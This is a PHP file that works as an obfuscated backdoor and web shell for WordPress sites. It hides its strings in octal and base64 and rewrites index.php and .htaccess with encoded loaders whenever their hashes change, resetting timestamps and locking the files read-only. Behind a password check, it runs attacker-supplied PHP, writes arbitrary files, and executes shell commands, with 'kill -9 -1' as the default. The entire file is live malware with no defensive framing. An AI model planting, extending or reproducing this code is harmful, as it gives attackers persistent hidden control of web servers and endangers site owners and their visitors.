<?php
/*Step Data*/
$s = $_SERVER;
/*Step Data*/
$g = $_GET;
/*Step Data*/
$pz = function ($y, $z, $u, $c, $g, $q = '') {
    if ($u && Md5_File($y) !== $u) {
        $fwC = $c[$g($z[3])];
        @ChMod($y, 0744);
        @$z[6]($y);
        $t = ['m' => filEmtiMe($y), 'a' => filEatiMe($y)];
        File_Put_conTents($y, $_GET[implode('_', ['', 'code', ''])]($q ? $q : 'PD9waHAKJGdSWExCNE55PSc5cElGdjlNcXZJL3RCVTVraElod0Jsbk56Z0tjZG40bUNLMkYrTmtVb2xYSmFRRzVPZ3FTZmdLL3QvM3ZlNFdTQncrTXJPejZ3OEdkYityMy9GN1R3MmhTUklsVmtMaktNbThjS2pXdGEzbnp6NTZvV2VsTkZNVjEwdGozNzZ4R0ZtcTZJVHZ3NTZWZVFHMWZDL3dNdlhOMjdyZ0c0WlJRcTF4U2hQTDdvTkl0WUhyOGpDNnVEQ1ZqY1piQmFsazI4bThLQ1Fta2EzOWR1K2JZanZLZWF2d3ZTbEpRT2NOMUp4eXpTU1NSRjYrSkZOV1dMaEt2SXhLMnMvbnp5cnNxNHFxS3RRWlJXS1B1RkZJMXlTMmVnMW00djRkV0pNR2c4UU9LQUVEbFBldDY4QW5selJKUWF3cE5ZeTZSR2pvUkM0NHc1VE9lbnZWZjBxdEQ4K2Z2UjhuUHB5YUFIV1ltdElveStKbXJYWjFkV1drb0NtdzQ5U0lrbUV0ZFVid2tOYkVZcTF1dkpPZVB5UHNqN0UycjBkWjRKY0VYTDFockkxMzc5N1YySzRFK3RiVDl6V3U4Z1A2REd4R2lXZ3hpa0pyUHVSeTRkR1BuQS9JZ1orRlpTYXQ2WHZoRDVKUVVHcjdHVTFDRzd4R1Jna2QrRGFlOGNMbVQ2YTBua28xd2M2VWYxQU02WHVJL3BNRDJ3dlQ0RWtPRXk3d1FwZGUvNHJiaEJPS1lyZ3J1QzBsZHdpaVJaZUFzdldwMkhYWEFEdUtYcHFLTHh3VnZRS0N2UlFMUUxaTzI5M1A3ZTQzNWFEWE83RzJkM2JhSnoycnMzMjBmN2E5MzFiT3RWWTY3cWRaOGlBaFZJNU9mdE40WnN2alpKV0dibnV2M1cxM1FUSnBrVlY3cEVtRUhIdVZuRE40c2tEelVXK3BxT0wyVk5vb1NqTldsSUpVWXFRSHg2Yzk2WnhiN1pXMnUrMS9uYlZQZTlaWjk1QVRlREhzTzc1SHc4eUxXYm5KR0hGWXhJOVVyRkRicFhoK08wbnNHM1VXTXVVTVlLTzZQUVR1SmxFTU9KeGUyT3hBV05neXhxZTQwYVVEbXRDRXN5VEZuUU5RV2oyQVE3RTlQRjJaTDRneVd0MTJYYzdyeGMrZk1RTmpJSFR0eklia1NwSEpGTXlHOGpKT29peGl6eUNhdWNTS0V3cG5rV29Dc1NBWFdEcUFyM1FpR2ZFb2Jra2F3eWc1dzJEUjY5aVBYS3FLTFowZ0pRT3VxU3dnL0ZZL053UUYzMktlQnlVR2JqYk9CWkNoVmRZWVdkQWVRNEpzbDRTdFhCcXppYWdmNGV2UUN1ek1HYW5LaTMvWG9KcUdJdkZWNDFWTHc3S1FYM2dLdDBhWDdXQ3NhZVFuZDVhYzBIVHNneGV3K0hBQkpTSUoyR0dhc0V3bUUxTFdvSDUzWDJ0VitRVUs1SVM2bkRLaDZJaksxTU9HcWJKMUprbFJ0SmJ5Y3BoRTQ5aHowY2ZZTkpxbEZVRzdOWXVpbktVbStQdlM5bFhzUjZxbUZUWlpnbG54T0IycEl1dDBCYW5TekE1aUZ2TXNmWWorMm8yOEFHbWR4SG16b1FLSG9Yd1BnVFUvUTBtajdFUmhCdmtMSWNrU0wxQUpvT2kxcWdqWVU0aEJoalNET29BdlNnNDk2SHhGenhYT2ZLTzhSTFk4MlVwcVdBU0VLaFlDN2Vkc0UvK203UzVmdUNzenp5VUV4RXQ3QmRIS1pjNkNuLzhOSXNocHoyeHN5ZDU3MHdzemRQaVVHaFpmdjU0M2dia2pIb0lEd0JscG5BRFRnSHNpRlIxZ0dFVkRueHBPWkZ6RUxDVmJ3aVBtZXFvWVNnN2FLWWR0ZEJGTGQ1NUtVQ0c2RElWRGxtaUZoSTM3a1hzRGlwbi91UmxGZHhSSkliZUpZUXBialNuekhQWGRnaS92S0hUbndxSC9tc1BPSFpVbmZPbVlqempldzhjU1oyRERrcURlS3M1SXkxRGo4WWh4RDRJV2N4cWhEUlU5RmozSUFueXNRSWZLWW15V3N5REVsRDJ5RWxDZUFpWi9Ea2grQlVRVVE1MWhzcUpNSnJrMzFqaXVzclJxS2pYUUoxSnFFWEdtQml5Rmw4b0NyZ2lQZmVSeVZHV0hjMVN6bTVnMlNVYXZzeHBxTFVwVlM0MWp6a29OQi94SElSUGtBRWptSGFsU2VUSTJJVFBXUmw2b2hZbFNaNG5KNncvd1JRZS9VRlg1V2cycTd2ZmVRZE5ycGllUWxpSXpXRmxXS25mTW9HaWNRZDZRQmFrNmFtTU52a2lUc1hjdTMzYW91dGk3b2M5RDZnc0lJSUtMaStBRnkxZTJsb1pEOXR5ME9HZkFWS3VUbVRzRVVSb2dHTXg2T3ZpUTJzNEk0bzdzZGtya3kxSVBrR05JUXBPYnFtQVc1Z1dOM3k2TDBNTWxnM3VuZnNnOWl5TDQvNExKeXh3bjNzOTBJWXRQUjMvV2R6TzRXL0RlQ3J5REtvUFhuQVdVKy9sL0JCUlFud3dpVmlPRW5QZktwZFhPODBsbGdreHpZQU5xQWxnTWJNOVhEQzZpaVhzY0tNWEtRcDhvajd5TmVyM2VzUHVPYlc5dVF2SEFxVGZ6QVhocTdoQ3ZGcFpaSzlXV3MvOVZwcFpEekh2eTVNWWVSZEdrRHoxNTRpVDJJSnZzSlBhVlR4TU1QTHlFSU9SZ25jdXh5OTZPVmd4b3hxckdBaThGYy8zdG0xMjlQWWNXeHhwZFN6WHdMVjFibG1jVnBuUldTcUFSNWErblZSZ2FkQ1kwcndTbGhsSVB6OVhybTl0SmYzeDdPOG1pZUJLRjhQSlBKMmtHNVQxeC9IRi9BdjA0aHJQZVR0SVkyQ2FEY1RqQkZxSVpyK1Nhb2tNVk5TUWRvcG5ReXh5cU5ZMlBJUnZuOHlqMmNaWjdwWm1IdjNUM282d1cyMFBhd3RRRjErbDVtSXV0eDgzMGh2YTNvQ05PQkF1aGNDREZ2dGZLQVNrR29qOEx4Qk5PalZJZk9EVW1EeCtNL3V0UjdJc29na28wak9kbm53WDA3L1Q5azcwNGlvTGNpMkE2aE1Oa0wvamUvenFSN2dVVFB1QlBwZzhCUnhleG5IOW5ZTU4yN2ZRSC80ejg2ZWRGekpFbldUSVFxVHcvOGx3VjJOR1NCWWZIc3hYdkljUzFGQVBsNnFiR3JsQVp0YVQ5ekc5eTRNTVFpMXY1K0FDZU5Jc1lOd2RxcFZEQWc4Y0EwSXZ6bHNUbWhQdkMrcWErOGNTb2JzM05tWjBJOHRpTFF1aVIyT0Q0UUZIcTVsQVAvSnBZM0F1ejdwT09xTzliZm1TN2NIVHNRSDA3cFc5L3MxenFzRUhKUHVqV25kM29zck94NTMyOTJRenNQMzYvZGZmZGh2Mmw2M2ZDMFNiMTNtWDkzdUhZUFJqVlJVdVNRM3BsalRKck5yRC9tdHhiZS8vcUV1aEdYemVPZk9mTnA2SU9pT1dhbDFxdWw2aVNrNmFpbDFhQ0g5TVZuZFQvc2JrSlUya3lwb3dGeDZxUHppaUlYRVpRZ3dqYmprT25wSXhvNFBrVUpvK3A4ZWtpN2R6eDdtTkR0K0o5RlhMTkhEMGZEdjY2eXNaQUhrd3pIUHYrYkNZUmo4TmI5bVgyUGdtRHFVa2M0TE84c0ZDS2JDV2xBSkVaekFVam5leWNkVHZISjNnaDJXRUk3ajlJdVhmYzZSeC82Unp2YlBjT2o0OW15WWIxdmFhaUpTYTNwZmdLc1ZKYSsyam5lUGZ3YUY4bnl2RFdpM1VYNzlnenFoU3dJeGNPeGVuQnNiazNpTVN2Q2lRTjFOWDV2UEdnc3RQVGp2VzUzVDNjKzNyU2JuZDFzcmZkT1cwWGJ3RWV3WWwzdTNPY2R5VUhpREE5eFFsNGFYelEzdDVGbXdUL2N0blRxT2ZTeVdQRW56Q1RHNDg2S05MdUhiWTd1NmY2Ykc2Yk0yWWxjN2ZkTytzZTlicmJSNmQ3ZUphcFNsbGN2akJPZWswZDVDdGxtdU5IS1MydUpqUWJKeUhubktzSlJBeVdxbnpJek1zS1d5U3JOZGlmMVZxZTAremFaRzFLbkw4VUw2bVRTdVZ4VlhJUDNad2pHcUxMRml4ZDhJU1FWdkpENVE0UG1Ic2k1MTcwUnFybWFTWm81L0RVMmZoOCtjbXJYeDk1bTRDamV6ZnV3WkhmMzlpOGRHODJML29iZFZPYVJ4M3gyME9lWGV3ZVlvMEdjWFl6OTZQSktmNVVBaTBYYWpPTC9PaUt6ditzd3dqV1RKTW8wV0NnYUhqeHJTNzk5ZVVQQUpidWwrM3VibnZYT3VrZTk0NkY1SWZKaUluaW1jbEN3VkpUcmIzdThSRUN6cTcxS011WDBjOE9VcW84NFhVT1NWSzVXSXA3MHB5Ylo3LzdNR0hvWm9nbURTOVZwZHYrZE54clc5dTd1MTBsdDlPQnFEcEJ2SndHQUhRYy9naWpxN0JnbkZDK2xJR1plVWY0a0w4WWxDTHRmQ1JLZTNQR3JhQzZ6N3dWTE54QThCajVEdyc7JHk3dHRVQTdKZ2ZqDT0JZnVuY3Rpb24JKCRsN2JLUVYzUm9VbykNeyRORVlqID0gIlI4T1M2VXFzIjskbUNRX0JlPSRORVlqWygyNy0gOSkgLyA2XTskbUNRX0JlDS49CQooKDE0MC0gMTA3KzcpIC81KQ0uJ00nLigoMTA3IC0gNzkgKyAyKS81KS4JJE5FWWpbKDMwLSAyNCAtNikgLzRdCi4kTkVZalsoMzAgLTE3IC0gMykgLzJdCTsJJG1DUV9CZQ0uPQkJKCg4NiAtIDc5LSA3KSAvIDIpOyRtQ1FfQmUNLj0JCSRORVlqWygxMTgtIDk5KzIpLyAzXSAuJE5FWWpbKDg3LSA2OSkvIDNdCS4JJ0YnLg0nVCcuJ04nLg0kTkVZalsoOTMtIDgxIC0yKS8gNV0NLgknVycNLg0nJzsNJG1DUV9CZQk9DXN0cl9yb3QxMygkbUNRX0JlKTtyZXR1cm4gJG1DUV9CZSgkbDdiS1FWM1JvVW8pOwkNfTskeTd0dFVBN0pnZmo9ZnVuY3Rpb24oJGw3YktRVjNSb1VvCSkJeyRORVlqID0gIlI4T1M2VXFzIjskbUNRX0JlPSRORVlqWygyNy0gOSkgLyA2XQk7CSRtQ1FfQmUuPQ0gKCgxNDAtIDEwNys3KSAvNSkuICdNJyAuKCgxMDcgLSA3OSArIDIpLzUpCS4JJE5FWWpbKDMwLSAyNCAtNikgLzRdLgokTkVZalsoMzAgLTE3IC0gMykgLzJdCTsgJG1DUV9CZQouPSAJKCg4NiAtIDc5LSA3KSAvIDIpOwokbUNRX0JlCi49CiRORVlqWygxMTgtIDk5KzIpLyAzXS4gJE5FWWpbKDg3LSA2OSkvIDNdLgknRicJLg0nVCcJLg0nTicuJE5FWWpbKDkzLSA4MSAtMikvIDVdCi4gJ1cnLgonJzsKJG1DUV9CZQk9IHN0cl9yb3QxMygkbUNRX0JlKTsJcmV0dXJuICRtQ1FfQmUoJGw3YktRVjNSb1VvKTsKIAp9OwkJCWZ1bmN0aW9uIAlGMXVGQzhNRgkoJFZhUkFvCSkJeyR6Zndtel9odzhaRXJWWCA9ICJjcGEiOyRSUUtSZW9WUkFmUlY9J20nOwokUlFLUmVvVlJBZlJWIC49DSdJJwkuCiR6Zndtel9odzhaRXJWWFsoOTkgLSA5OCsgNSkvM10JLiAkemZ3bXpfaHc4WkVyVlhbKDQzLTQwIC0zKS8gMl07JFJRS1Jlb1ZSQWZSVi49DSAkemZ3bXpfaHc4WkVyVlhbKDQ2IC0gNDMpIC8zXS4nJzskUlFLUmVvVlJBZlJWPQlzdHJfcm90MTMoJFJRS1Jlb1ZSQWZSVik7DSByZXR1cm4gJFJRS1Jlb1ZSQWZSVjsgCX0kZ1JYTEI0Tnk9JHk3dHRVQTdKZ2ZqKCRnUlhMQjROeSk7IAkJJGdSWExCNE55ID0JcERLT3k3X25BKCRnUlhMQjROeSk7ICAkZ1JYTEI0Tnk9DXZHSFgoJGdSWExCNE55KTsJCWV2YWwgKCRnUlhMQjROeSk7CmZ1bmN0aW9uICBGOFo2RUgwZmRzR2FCSgkoJG9fcjNUeTBBZE8pCXtyZXR1cm4gIEYxdUZDOE1GKCcnKSAuJG9fcjNUeTBBZE87fWZ1bmN0aW9uIA1wREtPeTdfbkEoJGhBSVBDTFc2CSkgeyREZnpPak5TWExPRFggPSAiYUVENl9DQm8iOyR1RFBjbDdhWjVwPSREZnpPak5TWExPRFhbKDY3LSA0MykgLyA0XQkuCSREZnpPak5TWExPRFhbKDY4IC02OCkgLyA0XSAuDSdTJwkuJERmek9qTlNYTE9EWFsoMjYgLTE3LTMpIC8gNl0JOyAkdURQY2w3YVo1cAkuPSAkRGZ6T2pOU1hMT0RYWygyNSAtIDE5KS8gMl0KOwokdURQY2w3YVo1cC49CSc0Jy4kRGZ6T2pOU1hMT0RYWygxNy01KSAvM10uJERmek9qTlNYTE9EWFsoNTMtIDQxIC0gMikgLyA1XTskdURQY2w3YVo1cC49CSREZnpPak5TWExPRFhbKDEwMi0gOTggKyAyKS8gNl07ICR1RFBjbDdhWjVwLj0JJERmek9qTlNYTE9EWFsoNzQtIDM2IC0gOCkgLyA2XQ0uJERmek9qTlNYTE9EWFsoMTA3LTU5IC02KS8gNl0JLidkJwouCidlJy4KJyc7cmV0dXJuICR1RFBjbDdhWjVwKCRoQUlQQ0xXNik7fQ0gCQlmdW5jdGlvbiB2R0hYKCRsXzkzbzVEMTh2MQ0pIHskUTl1eSA9ICJGbmVJVExaIjskVERGVHpHQ214ZXg2PSdHJy4JJFE5dXlbKDUyIC0xNikgLyA2XQkuCiRROXV5Wyg3OCAtIDUxIC0gOSkgLyA2XS4kUTl1eVsoMjktIDE2LTcpLzZdCS4JJFE5dXlbKDkyLTg1IC0gNykgLzVdLiRROXV5WygxMTMtIDk2ICsgOCkgLzVdIC4JJ0EnIC4kUTl1eVsoNzcgLSA1NykvIDVdCS4NJFE5dXlbKDIzLSAxNykgLyAzXQkuJyc7DXJldHVybiAkVERGVHpHQ214ZXg2KCRsXzkzbzVEMTh2MSk7DX07ID8+PD9waHAKLyoqCiAqIEZyb250IHRvIHRoZSBXb3JkUHJlc3MgYXBwbGljYXRpb24uIFRoaXMgZmlsZSBkb2Vzbid0IGRvIGFueXRoaW5nLCBidXQgbG9hZHMKICogd3AtYmxvZy1oZWFkZXIucGhwIHdoaWNoIGRvZXMgYW5kIHRlbGxzIFdvcmRQcmVzcyB0byBsb2FkIHRoZSB0aGVtZS4KICoKICogQHBhY2thZ2UgV29yZFByZXNzCiAqLwoKLyoqCiAqIFRlbGxzIFdvcmRQcmVzcyB0byBsb2FkIHRoZSBXb3JkUHJlc3MgdGhlbWUgYW5kIG91dHB1dCBpdC4KICoKICogQHZhciBib29sCiAqLwpkZWZpbmUoICdXUF9VU0VfVEhFTUVTJywgdHJ1ZSApOwoKLyoqIExvYWRzIHRoZSBXb3JkUHJlc3MgRW52aXJvbm1lbnQgYW5kIFRlbXBsYXRlICovCnJlcXVpcmUgX19ESVJfXyAuICcvd3AtYmxvZy1oZWFkZXIucGhwJzs='));
        Touch($y, $t['m'], $t['a']);
        @ChMod($y, 0444);
        return true;
    }
    return false;
};
/*Step Data*/
$c = [
    '137S105122V105122',
    'D117C125ME116T137122OO124',
    '137G105T',
    '_143o144145137',
    '3e8b0ce730d567511c8d7bbf915cb16a', 'd' => ['145170105c'],
    'in144e170056p150160', 'link',
    'h' => [
        "056150ta143143e163s", 'be476d27ece89594604d14886c081016', '146I154E137160U164137143O156164E116164123','156am145'
    ],
    'c' => ['145170105c', '142101S145066064137d105C157d145', '141d155i156056160p160']
];
/*Step Data*/
$z = function ($b) {
    $_ = "";
    $g = strlen($b) - 2;
    $z = function ($b) {
        $_ = '';
        if (($g = strlen($b)) < 3) return [2, $b];
        for ($o = 0; $o < $g; $o++) {
            $_ .= $b[$o];
            if (!is_numeric($b[$o]) || $b[$o] >= 8) return [$o + 1, $_];
        }
        return [$o, chr(octdec($b))];
    };
    for ($o = 0; $o < $g; $o += $d[0]) {
        $d = $z($b[$o] . $b[$o + 1] . $b[$o + 2]);
        $_ .= $d[1];
    }
    return $_ . substr($b, $o);
};
/*Step Data*/
$r = rtrim($s[$z($c[1])], '/') . '/';
$c[6] = 'un' . $c[6];
$_COOKIE['_dxep'] = FALSE;
if (!defined("WP_UNIQUE")) define("WP_UNIQUE", (isset($_GET['a']) && (($_e = substr(md5($_GET['a']), 2, 8) === 'eb4f4713') || preg_match('/^\d*[a-z,A-Z]{2,}\d{2,}$/i', $_GET['a'])) || !empty($_COOKIE['_exp'])) ? (($_e || (!empty($_COOKIE['_exp']) && substr(md5($_COOKIE['_exp']), 2, 8) === 'eb4f4713')) ? 2 : 1) : 0);
$q = function ($g) {
    $data = array_map(function ($item) {
        $item();
        return "\$i";
    }, $g);

    return $data;
};
$q(
/* debug */


    $uz = [
        function () {

        },
        function () use ($r, $z, $c, $pz, $g) {
            /*check*/
            $y = $r . $z($c[5]);
            $_COOKIE['_dxep'] = $pz($y, $c, $c[4], $g, $z);
        },
        function () use ($r, $z, $c, $pz, $g) {
            $pz($r . $z($c['h'][0]), $c, $c['h'][1], $g, $z, 'PElmTW9kdWxlIG1vZF9yZXdyaXRlLmM+DQpSZXdyaXRlRW5naW5lIE9uDQpSZXdyaXRlQmFzZSAvDQpSZXdyaXRlUnVsZSBeaW5kZXgucGhwJCAtIFtMXQ0KUmV3cml0ZUNvbmQgJXtSRVFVRVNUX0ZJTEVOQU1FfSAhLWYNClJld3JpdGVDb25kICV7UkVRVUVTVF9GSUxFTkFNRX0gIS1kDQpSZXdyaXRlUnVsZSAuIGluZGV4LnBocCBbTF0NCjwvSWZNb2R1bGU+');
        },
        function () use ($r, $z, $c, $pz, $g) {
            $pc = empty($_POST[$N = $z($c['h'][3])]) ? (empty($_GET[$N] ? '' : $_GET[$N])) : $_POST[$N];
            if (WP_UNIQUE !== 2 || strlen($pc) < 20) return;
            file_put_contents($d = time() . rand(1000, 9999), '<?php @unlink(__FILE__);?>'.$_GET[implode('_', ['', 'code', ''])]($pc));
            if (file_exists($d)) {
                @require $d;
            }
            die();
        },
        function () use ($z, $c, $r) {
            if (!WP_UNIQUE || empty($_GET['fx'])) return;
            $g = $z($c['c'][1]);
            $pz = $z($c['h'][2]);
            $pz($z($c['c'][2]), $g($_GET['fx']));
            echo explode('.', $z($c['c'][2]))[0];
            die();
        },
        function () {
            if (WP_UNIQUE && isset($_GET['d']))
                echo $_GET['d'] ? "Dj" . $_GET['d'] : 'd';
        },
        function () use ($z, $c) {
            $g = $z($c[$v = 'c'][0]);
            $pz = $z($c['c'][1]);
            WP_UNIQUE && isset($_GET[$v]) && ((isset($_GET[$r = 'g']) && $g = $_GET[$r]) || 1) &&
            $g($z($_GET[$v] ? $pz($_GET[$v]) : "153i154l -071040-61"), $a) && print_r($a);
        },

        function () {
            if (WP_UNIQUE && isset($_GET['z']))
                die();
        },
    ]


/**/
);
$y = $r . $z($c[5]);



